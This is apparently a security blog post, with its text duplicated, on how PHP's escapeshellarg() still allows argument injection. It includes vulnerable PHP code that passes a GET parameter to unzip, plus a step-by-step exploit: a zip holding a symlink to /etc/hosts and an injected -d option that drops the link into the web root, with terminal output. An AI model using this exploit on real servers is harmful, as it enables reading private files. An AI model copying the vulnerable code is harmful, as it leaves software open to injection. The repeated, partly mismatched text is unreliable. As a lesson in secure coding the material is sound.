PHP function escapeshellarg() is the most popular way to prevent OS Commanding threats during shell calls by escaping command arguments.
But this function is not a panacea, and you should keep this in mind when using it.
Let's try to understand what this escaping function is doing:
So, looks like ideal solution, right?
But there are no restrictions on characters in this line argument. For example, command line argument after escapeshellarg() filtration can be a command key (-a, -o and others). This is the first trick.
Second trick is argument parser which embeded in command line utilities.
Feel it:
$command -arg param
$command -arg=param
$command '-arg=param'
$command '-arg param'
There are no differences between these four examples for most command line utilities! Pay your attention to two last command lines, - you can put these lines after escapeshellarg() filtration.
Example:
$ unzip -j '-d/var/www/' *.dat -d /tmp
This command will extract files with masks '*.dat' (all matches after first), '-d', '/tmp' from ZIP arhieve with filename *.dat to output folder /var/www.
Preparing exploit:
$ ln -s /etc/hosts 2.dat
$ zip --symlinks 1.zip 2.dat
$ mv 1.zip 1.dat
You can also add file with name '-d' to archive to make attack more stable (w/o needs of upload 1.dat and 2.dat both for exploit).
Try it:
$ unzip -j '-d/var/www' *.dat -d /tmp
Archive: 1.dat
linking: /var/www/2.dat -> /etc/hosts
finishing deferred symbolic links:
/var/www/2.dat -> /etc/hosts
caution: filename not matched: -d
caution: filename not matched: /tmp
Now you can read files by +FollowSymlinks -------------->
But this function is not a panacea, and you should keep this in mind when using it.
Let's try to understand what this escaping function is doing:
- Performs framing quotes string: aaa -> 'aaa'
- Cuts bytes 0x00, 0x80-0xFF
- Escape single quotes: ' -> ''\'''
So, looks like ideal solution, right?
But there are no restrictions on characters in this line argument. For example, command line argument after escapeshellarg() filtration can be a command key (-a, -o and others). This is the first trick.
Second trick is argument parser which embeded in command line utilities.
Feel it:
$command -arg param
$command -arg=param
$command '-arg=param'
$command '-arg param'
There are no differences between these four examples for most command line utilities! Pay your attention to two last command lines, - you can put these lines after escapeshellarg() filtration.
Example:
<?php exec('unzip -j '.escapeshellarg($_GET['zip_arch_name']).' *.dat -d /tmp'); ?>Is it code protected from hackers? Try to check this in terminal by typing:
$ unzip -j '-d/var/www/' *.dat -d /tmp
This command will extract files with masks '*.dat' (all matches after first), '-d', '/tmp' from ZIP arhieve with filename *.dat to output folder /var/www.
Preparing exploit:
$ ln -s /etc/hosts 2.dat
$ zip --symlinks 1.zip 2.dat
$ mv 1.zip 1.dat
You can also add file with name '-d' to archive to make attack more stable (w/o needs of upload 1.dat and 2.dat both for exploit).
Try it:
$ unzip -j '-d/var/www' *.dat -d /tmp
Archive: 1.dat
linking: /var/www/2.dat -> /etc/hosts
finishing deferred symbolic links:
/var/www/2.dat -> /etc/hosts
caution: filename not matched: -d
caution: filename not matched: /tmp
Now you can read files by +FollowSymlinks -------------->